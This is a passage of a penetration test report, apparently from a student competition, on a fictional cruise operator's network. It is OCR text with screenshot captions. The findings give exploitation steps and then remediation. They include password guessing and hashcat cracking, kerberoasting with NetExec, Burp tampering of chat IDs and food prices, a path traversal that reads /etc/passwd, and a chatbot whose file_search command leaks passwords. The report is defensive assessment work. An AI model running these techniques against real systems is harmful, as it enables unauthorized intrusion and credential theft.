Exploitation Details

1. Login as admin user
Use guessable password for the admin account to gain access to KeyCloak.

I admin:[guessed_password]
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Sign in to your account

Username or email

admin

Password

(TIYIY] @

Sign In

Figure 17. KeyCloak login

2. View KeyCloak Users
Navigate to the Users tab and select the captain user.

http://10.0.1.13:8180/admin/master/console/#/gps/users/16941c73-d933-4742-ba29-eaa2a580
ed29/credentials

N Kali Forums  eX Kali NetHunter Exploit-DB Google Hacking DB

= @IKEYCL

Users >

User details

captain @ Encbled Action v

Detalls  Attributes  Credentials =~ Role mapping = Groups = Consents | Identity providerlinks ~ Sessions

Credential Reset

6] Type User label Created at Data

Password s 1/7/2026,714:49 PM Show data

Figure 18. Captain reset password

Remediation

Finals-12 recommends APT to change the password of the KeyCloak admin user to a long, complex
password that doesn't use dictionary words. Additionally, Finals-12 recommends implementing a
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strong password policy, requiring users to adhere to certain password complexity requirements
when creating a password.

- -,

Resources
-> PortSwigger - Brute Forcing Passwords

END OF FINDING BLOCK
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6.2 HIGH-RISK FINDINGS

6.2.1 Traefik Credential Exposure

Risk Impact CVSS Score
High 8.2
Likelihood CVSS Vector
Critical CVSS:4.0/AV:N/AC:L/AT:N/PR:H/UI:N/V
m C:H/VI:N/VA:N/SC:H/SI:N/SA:N
Affected Scope
10.0.1.99 HTTPS 8080

Vulnerability Description

Finals-12 discovered a username and password hash in the Router Details and Middleware
description of Traefik proxy's HTTP Router tab.

Business Impact Description

Successful exploitation of this vulnerability grants access to
admin.rooms.allports.tours/diagnostics.html which controls emergency services, cruise
announcements, and room service tickets.

Likelihood Description
This vulnerability is critically likely as it is located on a public website without authentication.

MITRE ATT&CK
TAQ006 - Credential Access M0801 - Access Management

Exploitation Details
1. Visit Traefik proxy website

I https://10.0.1.99:8080/dashboard/#/http/routers/admin-diagnoatics-dev@file
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Kali Linux % @ SLORPIN «Finals-12 CF X admin-diagnoatics-dev X = @ SLORPIN « Finals-12 CF x [@ Apache $apri$ MDSse; X €) Hashcat hash types - hi x

C @ O @ Not Secure 10.0.1.99

OffSec Kali Linux @ KaliTools @ KaliDocs @ SLORPIN +Finals-12C... N Kali Forums o Kali NetHunter 4 Exploit-DB Google Hacking DB

treefik **2
proxy
2] Entrypoints @ HTTP Router € HTTP Middlewares

admin-console-

443 admin-diagnoatics-
auth@file

dev@file

WEBSECURE ROUTER ‘ = BASICAUTH

RATELIMIT

no-dos@file

® Router Details

STATUS PROVIDER

OPTIONS

default
PASSTHROUGH
©

ENTRYPOINTS

SERVICE

Figure 19. Traefik HTTP Routers view

2. Crack user hash

Use hashcat and rockyou.txt wordlist to crack the discovered

discovered user.

I hashcat hash3.txt --wordlist /usr/share/wordlists/rockyou.txt

Dictionary cache built:
* Filename..: fusr/share/wordlists/rockyou.txt
Passwords.: 14344

Keyspace .. :
Runtime ... :

$april

Figure 20. Traefik cracked hash

Remediation

Ballast Control System X What Is Included InA E X

4 Service

SERVICE

frontend-dev

€ Middlewares

admin-console-auth@file

TYPE PROVIDER

basicauth :u File

STATUS

<

password hash for the

Finals-12 recommends that APT properly secures these credentials in an environment not visible on
the client's side. Finals-12 also strongly encourages APT to change these credentials due to current

exposure.
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o

Resources
=> PortSwigger - Information Disclosure

END OF FINDING BLOCK
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6.2.2 Cruissant Chat Conversation Injection

Risk Impact CVSS Score
High 7.1
Likelihood CVSS Vector
Critical CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UL:N/V
m C:N/VI:H/VA:N/SC:N/SI:N/SA:N
Affected Scope
chat.allports.tours HTTPS 443

Vulnerability Description
Finals-12 discovered a vulnerability in the Cruissant Chat allowing for threat actors to send messages
in other users' conversations through manipulation of the conversation_id variable.

Business Impact Description

Successful exploitation of this vulnerability allows for threat actors to send messages in other user's
chats potentially allowing for phishing of users due to the implicit trust in the user's current chat as
they would assume they are talking to someone else.

Likelihood Description

This vulnerability is highly likely as it requires any registered user account without privilege
requirements.

MITRE ATT&CK
T1190 - Exploit Public-Facing Application M0818 - Validate Program Inputs

Exploitation Details

1. Navigate to Chatroom
Navigate to the APT chat site and login with a valid email and password.

I https://chat.allports.tours/dashboard

CONFIDENTIAL — DO NOT DISTRIBUTE 40


https://attack.mitre.org/techniques/T1190/
https://attack.mitre.org/mitigations/M0818/

All Ports Tours Security Assessment

Finals-12

= C (& b=psiichatallports.tours/dashboa

Cruissant Chat Home Dashboard

Dashboard

Conversations

Chat Name

TestConversation

test

21

again

last

testttt

Participants

(Room #: BB-A102) Finalss
(Room #: CS-A219) test

(Room #: BB-A102) Finalss
(Room #: DD-B222) Charlie

(Room #: BB-A102) Finalss

(Room #: BB-A102) Finalss
(Room #: BB-A102) John

(Room #: BB-A102) Finalss
(Room #: C5-CO01) Bob

(Room #: BB-A102) Finalss

(Room #: CS-AZ19) test

Figure 21. Visit All Ports Tours chat

2. Create Chats
Click the cloud with three dots in the top right. Create two different chats.

I https://chat.allports.tours/conversation

C  [3] bitps://chat.allports.tours/conversatior

Cruissant Chat Home D

Create Conversation

Title

| te-:-.t‘l|

Users
=

(PP-D131) e.harold
(BB-B142) f.terry
(FV-C014) g.bobseon
(CS5-A219) t.example

L

Submit

Figure 22. Create a new chat
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Cruissant Chat Home

Create Conversation

Title

test2

Users

R B

(PP-D131) e.harold
(BB-B142) f.terry
(FV-C014) g.bobson
(C5-A219) t.example

Submit

Figure 23. Create another chat

3. Turnon Intercept
Open up Burp Suite. Navigate to proxy and turn on intercept.

Burp Project Intruder Repeater View Help
Dashboard Target Proxy Intruder Repeater Collaborator Sequencer

Intercept HTTP history WebSeckets history Match and replace {G} Proxy setti

@ Intercept on

Cruisse

Figure 24. Turn on intercept
4., Send Message
Open up the first conversation and type in a message and hit send. This request will be captured
by intercept.
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> Forvard |~ ow |~
Time Type  Direction Methed URL
10:14:3210... WS <+ Toserver https:fichat.allports.tours/socket.io/?EIO=4&transport=websocket
10:14:5410... WS < Toclient https:fichat.allports.tours/socket.io/?EIO=4&transport=websocket
F Raw Hex
1 42["send message",{"data":{"content":"this 1s a test","conversation_id" :EI]'}]

Figure 25. Intercept the HTTP request
5. Modify Request

Modify the request to replace the first chat's conversation_id with the second chat's

conversation_id. Forward the request.
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@ Intercept on - Forward | ~ Drop ~

Time Type  Direction Method URL
10:14:3210.. WS < Toserver https://chat.allports.tours/socket.ic/7EIO=4&transport=websocket
Raw Hex

1 42["send message",{"data":{"content":"this 1s a test","conversation_1d":9}}]

Figure 26. Modlify the conversation_id

6. View Second Chat
Verify that the second chat received the message.

< G [3] hepsi//chatallports.tours)

Cruissant Chat Home Dashboare

aasdf

admin
2026-01-10 15:15:45

asdf

admin
2026-01-10 15:15:45

asdf\

admin
2026-01-10 15:15:45

this is a test

admin
2026-01-10 15:16:10

Figure 27. Verify sent message

Remediation

Finals-12 recommends that APT ensure all user inputs are properly validated before processing
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message requests to confirm that the current user has proper authentication to the conversation.

o~ -

Resources
—> OWASP Top 10 - Broken Access Control

END OF FINDING BLOCK
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6.3 MEDIUM-RISK FINDINGS

Risk Impact CVSS Score
Low 53
Likelihood CVSS Vector
High CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC

:L/VI:N/VA:N/SC:N/SI:N/SA:N

I Affected Scope

10.0.1.6 (APT-DC-01) Kerberos 88
svc_stabilize

Rediscovered Vulnerability

Vulnerability Description

Finals-12 rediscovered and performed a Kerberoast attack against the svc_stabilize service
account. Kerberoasting abused the intended functionality of Microsoft Kerberos where any user can
request a Service Ticket to a service account, or any user with a Service Principal Name (SPN). Part of
the returned TGS will be encrypted with the principal's password.

If a service account has an insecure password, any user can request the TGS and crack it using a
wordlist. Once cracked, an attacker gains access to the account's plaintext password and can utilize it
to authenticate to the domain as the kerberoastable principal.

Business Impact Description

Successful exploitation can lead to threat actors obtaining plaintext credentials to a service account.
This may lead to lateral movement and further compromise, allowing for exfiltration of sensitive
data. This can lead to reputational damage and financial loss.

Likelihood Description

Exploitation of this vulnerability is highly likely as any authenticated user in the Active Directory can
request a service account's encrypted TGS and attempt to crack it offline.

MITRE ATT&CK
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T1558.003 - Kerberoasting M1027 - Password Policies

Exploitation Details

1. Perform Kerberoast
Using the NetExec tool, use the --kerberoasting flag to perform kerberoasting and output to a
file.

nxc ldap 10.0.1.6 -u <USER> -p <PASSWORD> --kerberoasting output.txt

r > kerb
r 2022 Build 20 (mame:APT-DC-01) (domain:all

annel bin
APT-D
APT
APT
APT
6-01-87 17:5

Figure 28. Obtain the crackable hash

2. Crack the hash
Using the hashcat tool, crack the hash by supplying the hash and the rockyou. txt wordlist.

I hashcat -m 13100 output.txt /usr/share/wordlists/rockyou.txt
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$krb5tgs$23$+SVC_STABILIZE$ALLPORTS. LOCAL$allports.local\SVC_STABILIZE*$e0243db2ec6790b3d271bcaf2185F185$1735a1c6730

{erberos 5, etype 23, TGS-REP)

Figure 29. Crack the hash

Remediation

Finals-12 advises APT to consider the implementation of a group Managed Service Account in place
of the standard service account that currently exists. A gMSA presents several benefits such as
automated password management by the domain controller.

In the interim, APT should manually change the password of the affected service account to a more
complex password to better protect against password cracking attempts. The below command can

be used by a Domain Administrator to change the service account's password.

Change the password of the affected user.

I net user [service_account_name] [password]

' Resources
-> Microsoft gMSA Guidance

-> CrowdStrike Kerberoasting Blog Post

END OF FINDING BLOCK
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Risk Impact CVSS Score
Medium 6.0
Likelihood CVSS Vector
High CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UIL:N/V

C:N/VI:N/VA:N/SC:N/SI:N/SA:N

I Affected Scope

10.0.1.6 (APT-DC-01) LDAP 389/636
10.0.1.20 (DECKHAND-01) SMB 139/445
10.0.1.21 (DECKHAND-02) SMB 139/445

Rediscovered Vulnerability

Vulnerability Description

Finals-12 rediscovered that SMB and LDAP signing was not enabled through the tool NetExec. Lack
of SMB/LDAP signing allows for an attacker to perform SMB relay attacks. Additionally, LDAP
SChannel is not enforced, allowing for insecure network communication over LDAP.

Business Impact Description

Successful exploitation of this misconfiguration has the capability of leading to system compromise,
which can cause downtime to the affected hosts, impacting business operations, possible exfiltration
of sensitive data, and reputational harm to APT.

Likelihood Description

Exploitation of this misconfiguration is highly likely as there are public tools that can be used to
exploit this vulnerability. An attacker would only require low privilege network access to perform this
exploit.

MITRE ATT&CK
T1557 - SMB Relay M1028 - Operating System Configuration

Exploitation Details

1. Attempt authentication
Utilize the Netexec tool to enumerate windows servers.

CONFIDENTIAL — DO NOT DISTRIBUTE 49


https://attack.mitre.org/techniques/T1557/
https://attack.mitre.org/mitigations/M1028/

All Ports Tours Security Assessment Finals-12

nxc smb 10.0.1.20 10.0.1.21 -u <USER> -p <PASS>
nxc ldap 10.0.1.6 -u <USER> -p <PASS>

1 smb 10.0.1.6 10.
10.0.1.6 445 1 ) ( r igning:True) ( ) (Null Auth:T
20 445 01 L —01) ( Y )

DECKHAND-01
DECKHAND-02

ame : APT-DC-01) (domain:allports.local) ( ) (channel binding:No TLS cert)

Figure 30. Netexec shows SMB and LDAP signing:False

Remediation

Finals-12 recommends APT enable SMB and LDAP signing, as well as channel binding using the
following commands.

Enable SMB signing on the client side.

Set-ItemProperty -Path
"HKLM:\SYSTEM\CurrentControlSet\Services\LanmanWorkstation\Parameters" °
-Name "RequireSecuritySignature" -Value 1 -Type DWord

Enable SMB signing on the server side.

Set-ItemProperty -Path
"HKLM:\SYSTEM\CurrentControlSet\Services\LanmanServer\Parameters" °
-Name "RequireSecuritySignature" -Value 1 -Type DWord

Enable LDAP signing on the Domain Controller.

Set-ItemProperty -Path 'HKLM:\System\CurrentControlSet\Services\NTDS\Parameters' -Name
LDAPServerIntegrity -Value 2

Enable LDAP channel binding.

$RegPath = "HKLM:\System\CurrentControlSet\Services\NTDS\Parameters"
New-ItemProperty -Path $RegPath -Name LdapEnforceChannelBinding -Value 2
-PropertyType DWORD

CONFIDENTIAL — DO NOT DISTRIBUTE 50



All Ports Tours Security Assessment

Finals-12

Resources
=> Control SMB sighing behavior

=> Enabling LDAP signing

END OF FINDING BLOCK
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Risk Impact

Medium

Likelihood
Critical

I Affected Scope

10.0.1.30

CVSS Score
6.9

CVSS Vector
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UL:N/V
C:L/VI:L/VA:L/SC:N/SI:N/SA:N

HTTP 8096

Rediscovered Vulnerability

Vulnerability Description

Finals-12 discovered the Jellyfin application used for hosting movies and music for APT customers
implemented weak credentials for the administrator account. Threat actors would be able to easily

guess these credentials and control the website.

Business Impact Description

Successful exploitation of this vulnerability harms the integrity and accessibility of the Jellyfin
application as administrators can control what media is hosted or take down the site entirely.

Likelihood Description

Exploitation is critically likely as the credentials used for authentication are weak and can easily be

guessed.

MITRE ATT&CK

T1110.003 - Brute Force: Password Spraying
T1201 - Password Policy Discovery

M1027 - Password Policies

Exploitation Details

1. Visit Jellyfin website
Visit 10.0.1.30:8096/web/#/login.html.
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€ > C @ O @ NotSecure O http://10.0.1.30:€

07497b4b4ce9a

OffSec Kali Linux #8 Kali Tools « Kali Docs ¥ Kali Forums X Kali NetHunter & Exploit-DB Google Hacking DB

f Jellyfin

Input credentials

Please sign in

jellyfin

| Rememt

Sign In

Use Quick Connect

Forgot Password

Figure 31. Jellyfin sign-in

%2Fhome.html

Input the guessed username and the guessed password into the input fields and visit the admin

dashboard.

Jellyfin:<REDACTED>

= C @ O & NotSecure o hitp://10.0.1.30:809¢

OffSec KaliLinux # KaliTools <+ KaliDocs ¥ KaliForums e Kali NetHunter
Jellyfin €
Server >

|
85 Dashboard server name

& General Server version

Web version

Build version

Libraries
© riayback

D
Active Devices >

L0 Devices
6 Firefox
B Activity Jellyfin Web 10.10.7

Last activity 2 minutes ago

Jelyfin

Scan All Libraries Restart Shutdown

xploit-DB

Google Hacking DB

Activity >

 }

Figure 32. Jellyfin admin dashboard

Remediation

Jthenticated

from Firefox

from Firefox
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Finals-12 recommends that APT change the password to the Jellyfin account. Finals-12 also

recommends implementing a strong password policy, requiring users to adhere to certain password
complexity requirements when creating a password.

e
r

Resources

> CISA Password Policy
=> Jellyfin Default Username

END OF FINDING BLOCK

CONFIDENTIAL — DO NOT DISTRIBUTE 54


https://www.cisa.gov/audiences/small-and-medium-businesses/secure-your-business/require-strong-passwords
https://forum.jellyfin.org/t-solved-default-or-empty-username

All Ports Tours Security Assessment Finals-12

Risk Impact CVSS Score

Medium 5.3

Likelihood CVSS Vector

Medium CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UL:N/VC
:L/VI:N/VA:N/SC:L/SI:N/SA:N/S:P/R:U/V
:D

Affected Scope

admin.rooms.allports.tours HTTPS 443

Vulnerability Description

Finals-12 discovered a vulnerability in the room dining application used for managing the
*.rooms.allports.tours dining endpoint. Threat actors are able to leverage previously discovered
credentials in combination with newly discovered credentials to make announcements, cancel
emergencies, and deny service requests for all rooms aboard the vessel.

Business Impact Description

Successful exploitation of this vulnerability harms the integrity and accessibility of the
*.rooms.allports.tours application as administrators can see what emergencies are responded
to, what announcements are made, and what service requests are fulfilled.

Likelihood Description

Exploitation is medium likely as the credentials used for authentication are found elsewhere in the
environment.

MITRE ATT&CK

T1110.003 - Brute Force: Password Spraying M1027 - Password Policies
T1201 - Password Policy Discovery

Exploitation Details

1. Visit Admin Endpoint
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Visit admin.rooms.allports.tours and inputthe found credentials.

I captain:<REDACTED>

(G [ allports.tours/a

« KaliDocs @ SLORPIN «Finals-12C... N Kali Forums e Kali NetHunter Exploit-DB Google Hacking DB
@ admin.rooms.allports.tours
This site is asking you to sign in.
Username

captain

Password

Figure 33. Log in to Console

2. Login to the Admin Console
Press sign in and view the admin console.

©  Admin Console % @ SLORPIN - Finals-12 CPTC +

<« C @ O & o allports.tours;

OffSec  Kalilinux @ KaliTools  Kali  Save password for allports.tours? r = Exploit-DB * Google Hacking DB

Username

ot Admin Console

Password
page is reserved for administrative functions.

No emergencies found

Service Requests

No service requests found.

Title

Announcement title

Author

Figure 34. Admin Console Page

Remediation

Finals-12 recommends that APT change the password to the captain account. Finals-12 also
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recommends implementing a password policy, requiring users to adhere to certain password
complexity requirements when creating a password.

e

Resources

-> CISA Password Policy
-> Credential Stuffing

END OF FINDING BLOCK
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Risk Impact CVSS Score

Medium 5.5

Likelihood CVSS Vector

High CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UL:N/V
C:L/VI:N/VA:N/SC:L/SI:N/SA:N/E:P/R:A/
V:D/RE:L

Affected Scope

admin.rooms.allports.tours HTTP 80

Rediscovered Vulnerability

Vulnerability Description

Finals-12 discovered hardcoded credentials implemented in the source code located on the
/admin.html endpoint.

Business Impact Description

Successful exploitation of this vulnerability grants threat actors access to credentials that allow for
administrator control over emergency services, cruise announcements, and room services.

Likelihood Description

Exploitation is highly likely to be exploited as threat actors do not require any authorization in order
to access the admin console and view the source code.

MITRE ATT&CK
10891 - Hardcoded Credentials MO0801 - Access Management

Exploitation Details

1. View source code
Login to the admin console endpoint and observe the source code.

I http://admin.rooms.allports.tours/admin.html
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Emergencies

No emergencies found.

Figure 35. Hardcoded Credentials

Remediation

Finals-12 recommends that APT remove any hardcoded passwords or secrets in source code instead
storing passwords and secrets in an encrypted database. Finals-12 also strongly encourages APT to
change these credentials due to current exposure.

Resources
—-> OWASP - Hardcoded Credentials

-> Beyond Trust - Hardcoded Credentials and Remediations

END OF FINDING BLOCK
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Risk Impact

Medium

Likelihood
High

I Affected Scope

*.rooms.allports.tours

CVSS Score
5.3

CVSS Vector
CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC
:N/VI:L/VA:N/SC:N/SI:L/SA:N

N/A N/A

Rediscovered Vulnerability

Vulnerability Description

Finals-12 discovered a price manipulation vulnerability on the admin.rooms.allports.tours
webpage. A threat actor can capture the request that is made when ordering food on the /food.html
endpoint and set the price and total parameters to 0.0, allowing them to order food for free.

Business Impact Description

Successful exploitation of this vulnerability can cause APT financial loss.

Likelihood Description

Exploitation is critically likely, as this exploit does not require knowledge of web vulnerabilities and

does not require authentication.

MITRE ATT&CK
T1565 - Data Manipulation

M1013 - Application Developer Guidance

Exploitation Details

1. Visit food webpage

Visit the webpage that allows users to order food and add any food item to the cart.

I http://admin.rooms.allports.tours/food.html
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2rvice S

3 (3] heps://admin.rooms.allports.tours/food ht

min
. .
In-Room Dining
Bi ur menu and place an order to your room
Breakfast
Your Cart
Classic Eggs Benedict $12.95 Avocado Toast $9.50 Classic Eggs Benedict ‘7‘ ‘—‘
English muffin topped with Canadian T v Sourdough bread with smashed avocado, v Qty:1-512.95 )L
bacon, poached eggs, and hollandaise radish, chiliflakes, and lemon
sauce Subtotal $12.95
Place Order

Blueberry Pancakes $10.00 Greek Yogurt Parfait $7.50
Fluffy pancskes with fresh blueberries and || v Layers of Greek yogurt, grancla, and , o Clear Cart |
maple syrup. seasonal fruit.

Snacks
Truffle Fries $6.50 Caprese Skewers $7.00
Crispy fries tossed in truffle oil with 4 v Cherry tomatoes, fresh mozzarella, and P
parmesan and herbs. basil drizzled with balsamic
Ldutimm mm i1 O Nisa ¢a nn Mhamimmiabmsmin Dlmdn &14 NN Currant Nrdar

Figure 36. Visit food webpage

2. Capturerequest
Capture the request in Burp Suite utilizing the intercept functionality.
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Time Type Direction Method URL

14:4316 9 Jan2... HTTP =+ Request neeT

Add to scope

Forward

Drop

Add notes

Highlight

Don't intercept requests
Do intercept

Send to Intruder
Send to Repeater
Send to Sequencer
Send to Organizer
Send to Comparer
Request in browser
Request
Pretty Raw Hex

Sec-Ch-Ua-Mobile: 70

Accept: */%

origin: https://admin.rooms.allports.tours

> Sec-Fetch-Site: same-origin

! Sec-Fetch-Mode: cors

Sec-Fetch-Dest: empty

» Referer: https://admin.rooms.allports.tours/food.html
Accept-Encoding: gzip, deflate, br

Priority: u=l, 1

{

https://fadmin.rooms.allports.tours/api/foodforder

o 'api}‘foodforder

Ctrl+l
Ctrl+R

Ctrl+0

User-Agent: Mozilla/5.0 (X11; Linux xB86_564) ApplewebKit /537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari /537.36

Figure 37. Capture the POST request

3. Manipulate request

Manipulate the price and total parameters by setting their values to 0, and send the request.

Pretty Raw Hex ® n

POST /api/food/order HTTR/2

Host: admin.rooms.allports.tours

Content-Length: 123

Sec-Ch-Ua-Platform: "Linux"

Accept-Language: en-US,en;q=0.9

5 Sec-Ch-Ua: "Not_A Brand";v="99", "Chromium";v="142"

7 Content-Type: application/json

2 Sec-ch-Ua-Mobile: 70

9 User-Agent: Mozilla/S5.0 (X11; Linux x86_64) ApplewebKit/S37.36 (KHTML, like Gecko)
chrome/142.0.0.0 safari/537.35

10 Accept: */*

11 Origin: https://admin.rooms.allports.tours

12 Sec-Fetch-Site: same-origin

13 Sec-Fetch-Mode: cors

14 Sec-Fetch-Dest: empty

15 Referer: https://admin.rooms.allpeorts.tours/food.html

16 Accept-Encoding: gzip, deflate, br

-

IS

w

17 Priority: u=l, 1
18
19 {
"room":"admin",
"items": [
{
"id":"breakfast_1",
"classic Eggs Benedict",
Yqty":1,
"price":0.00
i
1,
"total":0.00
"notes":""
i

= Pretty Raw Hex
1 HTTR/2 200 OK
2 Content-Type: application/json
3 Date: Fri, 09 Jan 2026 19:41:34 GMT
4 Content-Length: 60

6 {
"room":"admin",
“room_id":"1",
"status':" food order placed”
1

Figure 38. Modlify the price
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Remediation

Finals-12 recommends implementing strict server-side validation for all parameters, including price
and total values within the POST request related to food orders. Finals-12 also recommends
implementing anti-tampering controls such as request signing to prevent unauthorized modification
of order data.

&
i

Resources

-> Test Ability to Forge Requests

END OF FINDING BLOCK
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Risk Impact CVSS Score
Medium 7.1
Likelihood CVSS Vector
High CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UL:N/V

C:H/VI:N/VA:N/SC:N/SI:N/SA:N

| Affected Scope

https://penny.allports.tours N/A N/A

Vulnerability Description

Finals-12 discovered that the Penny model on the affected scope was vulnerable to internal
information disclosure through the file_search command which was available to all users.

Business Impact Description

Successful exploitation of this vulnerability enables threat actors to gain access to internal APT
information including passwords.

Likelihood Description
Exploitation is highly likely as any registered user can instruct the Al model to run this command.

MITRE ATT&CK

11213 - Data from Information Repositories M0818 - Validate Program Inputs
M1054 - Software Configuration

Exploitation Details

1. Runfile_search
Query the file_search function on Penny with a keyword to search.

I file_search [keyword]
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file_search 06_security_reminders.md

Penny Enhanced

The document "06_security_reminders.md" states the following security guidelines:

The default password is temporary and must not be shared.
Report suspicious activity t CL o] cal.
IT support is available at he -al for further assistance.

These reminders are critical for maintaining account security and operational integrity. Always adhere to these
protocols to protect sensitive information and system access.

Figure 39. Penny disclosing default password

Remediation

Finals-12 recommends that APT either remove the search_file feature or require proper
authentication before allowing the use of Penny's chatbot commands.

Resources
—> PortSwigger Web LLM Attacks

END OF FINDING BLOCK
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Risk Impact CVSS Score

Low 5.3

Likelihood CVSS Vector

Critical CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC
:L/VI:N/VA:L/SC:L/SI:N/SA:L/S:P/R:U/V:

= ”
Affected Scope
*.room.allports.tours HTTP 80

Vulnerability Description

Finals-12 discovered unauthenticated access to all rooms on the *.rooms.allports.tours
website.

Business Impact Description

Successful exploitation of this vulnerability allows any threat actor to order food, request room
service, and contact emergency services to any room in the cruise ship.

Likelihood Description

Exploitation is critically likely as no credentials or authorization are required to interact with the
admin room.

MITRE ATT&CK
T1190 - Exploit Public-Facing Application M1013 - Application Developer Guidance

Exploitation Details

1. Visit admin room
Navigate to the admin.rooms.allports.tours webpage.

I https://admin.rooms.allports.tours
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Room admin

Welcome to the Room Console

a K
Food Service Room Service Emergency
Order meals and snacks to your room. Request cleaning, amenities, and more Contact emergency services quickly.

Figure 40. Admin room console

2. Visit any room console
Navigate to any valid room console webpage.

I https://bb-al53.rooms.allports.tours

Cc o O & allports.tours

-3 Import bookmarks. OffSec Kali Linux # KaliTools ¢ Kali Docs ¥ Kali Forums o Kali NetHunter Exploit-DB Google Hacking DB

Room bb-a153

Welcome to the Room Console

& a
Food Service Room Service Emergency
Order meals and snacks to your room. Request cleaning, amenities, and more. Contact emergency services quickly.

Figure 41. bb-a153 room console

Remediation

Finals-12 recommends APT to create a form of authentication to verify the identity of users and

prevent threat actors from accessing and modifying other users' rooms.

Resources
—=> OWASP Authentication Failures

END OF FINDING BLOCK
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Risk Impact CVSS Score
Medium 5.1
Likelihood CVSS Vector
High CVSS:4.0/AV:N/AC:L/AT:N/PR:H/UI:N/V

C:L/VI:N/VA:N/SC:N/SI:N/SA:N

| Affected Scope

10.0.1.13 HTTP 8080
captain
www-data

Vulnerability Description

Finals-12 discovered a vulnerability within the Navigation Log endpoint, allowing attackers to read
local files on the filesystem. By modifying the file that is downloaded when exporting the Navigation
Log CSV, a threat actor can download and view any file that is readable by the www-data user.

Business Impact Description

Successful exploitation of this vulnerability allows threat actors to download sensitive data as a text
file and view them offline. This may lead to reputational damage, financial loss, and leakage of
sensitive company information.

Likelihood Description

Exploitation is highly likely as although authentication is required, valid credentials are easily
guessable, making authentication a trivial requirement.

MITRE ATT&CK
T1005 - Data from Local System M1057 - Data Loss Prevention

Exploitation Details

1. Login to Bridge Navigation
Log in to the Bridge Navigation log page.

I http://10.0.1.13:8080/?route=navigation_log&from=2026-01-03&t0=2026-01-11&limit=100
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secure  10.0.1.13

= A]ll Ports - Bridge Navigation

Bridge Dashboard Navigation Log Route Builder
Navigation Log
From: To: Limit:
Current Voyage: Current Position — Oranjestad »
Vessel Speed: 0.00 knots | Heading: 101° 61/63/2026 O || 61/11/2626 O || 100 v
Log Entries Period Covered Avg Speed Distance Logged
33 Jan 09 16:24 - Jan 28.5 kts ~763.1 nm
10 18:25
Timestamp Position (Sk'::;d Heading Waypoint/Event User Map

Figure 42. Visit Navigation Log

2. Turnon Intercept
Open up Burp Suite, go to intercept and turn on intercept.

Burp Project Intruder Repeater View Help Burp Suite Community Edition v2025.10.6 - Temporary Project
Dashboard Target Proxy Intruder Repeater Collaborater Sequencer Decoder Comparer Logger Organizer Extensions Learn
Intercept HTTP history WebSockets history Match and replace @ Proxy settings

@ Intercept on Forward

[

Interceptis on

Messages between Burp's browser and your target servers are held here. This enables you to
analyze and modify these messages, before you forward them.

Learn more Open browser

Figure 43. Turn on intercept

3. Export CSV
Go back to the navigation log page and click the green Export CVS button to capture the request.

I http://10.0.1.13:8080/?route=navigation_log&from=2026-01-03&t0=2026-01-11&limit=100

4. Forward First Request
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Press forward on the first request that is captured by intercept.

Request

Pretty Raw Hex w n =
POST /api/export_csv.php HTTP/1.1
Host: 10.0.1.13:8080
Content-Length: 2749
Accept-Language: en-US,en;q=0.9
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chromes142.0.0.0 Safari 537.36
Content-Type: application/json
Accept: #*/*
g5 Origin: http://10.0.1.13:8080
9 Referer: http://10.0.1.13:8080/7route=navigation_Llog&from=2026- 01- 03&to=2025- 01- 11&L1m1t=100
10 Accept-Encoding: gzip, deflate, br
11 Connection: keep-alive

[T T S

Figure 44. First HTTP request to skip
5. Modify Second Request

Modify the second request to escape the current working directory and access /etc/passwd.
Once added forward the request.

I api/download_csv.php?file=../../../../etc/passwd

HTTP history WebSockets history Match and replace {G} Proxy settings
@ Intercept on -+ Forward | ~ Drop w
Time Type  Direction Method URL
[ 13:55:3310.. HTTP 2 Request GET http:/10.0.1.13:8080/api/download_csv.php?file=navigation_log_2026-01-10.csv
13:55:5110 ... HTTP & Request GET https:/fwww.google.com/warmup.html
13:57:0510.. HTTP < Request POST http:/f10.0.1.13:8180/realms/gps/protecol/openid-connect/token

Request
Pretty Raw Hex
1 GET /fapi/download_csv.php?file=../../../../etc/passwd HTTP/1.1

Figure 45. Modify the file parameter

6. View Downloaded File
Open the downloaded .cvs file to view the contents of /etc/passwd.
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| ~fDownloads/navigation_log_2026-01-10.csv - Mousepad

File Edit Search View Document Help

B = E C x O Q «k n

Untitled 1 navigation... -10 (2).csv

1[root:x:0:0:root:/root:/bin/bash

2 daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin

3 bin:x:2:2:bin:/bin:/usr/sbin/nologin

4 sys:x:2:3:sys:/dev:/usr/sbin/nologin

5 SYnc:iX:t4: :sync:/bin:/bin/sync

6 games:x:5:00:games:/usr/games: /usr/sbin/nologin

7man:x:6:12:man:/var/cache/man:/usr/sbin/nologin

8 lp:x:7:7:1p:/var/spool/1pd: /usr/sbin/nologin

9mail:x:5:2:mail:/var/mail:/usr/sbin/nologin

10 news:x:%:9:news:/var/spool/news:/usr/sbin/nologin

11 uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin

12 proxy:x:13:13:proxy:/bin: /usr/sbin/nologin

13 www-data:x:32:33 :www-data:/var/ww: /usr/sbin/nologin

14 backup:x:34:34:backup: /var/backups:/usr/sbin/nologin

15 list:x:28:258:Mailing List Manager:/var/list:/usr/sbin/nologin

16 irc:x:30:30:ired: /var/run/ircd: fusr/shin/nologin

17 gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/
nologin

18 nobody: x: : :nobody: /nonexistent:/usr/sbin/nologin

19 _apt:x: : :: /nonexistent:/bin/false
pl]

Figure 46. Open downloaded file

Remediation

Finals-12 recommends APT to remove the file parameter, and instead calculate and concatenate
the proper CSV file to open on the backend. Alternatively, if this is not a viable solution, Finals-12
recommends APT to implement string sanitization through regular expressions.
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Resources
=> Exploiting Local File Read

END OF FINDING BLOCK
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6.4 LOW-RISK FINDINGS

Risk Impact

Low

Likelihood
Medium

Affected Scope

I 10.0.1.13

Vulnerability Description

CVSS Score
5.1

CVSS Vector
CVSS:4.0/AV:N/AC:L/AT:N/PR:H/UI:N/
VC:L/VI:N/VA:N/SC:N/SI:N/SA:N

HTTP 8096

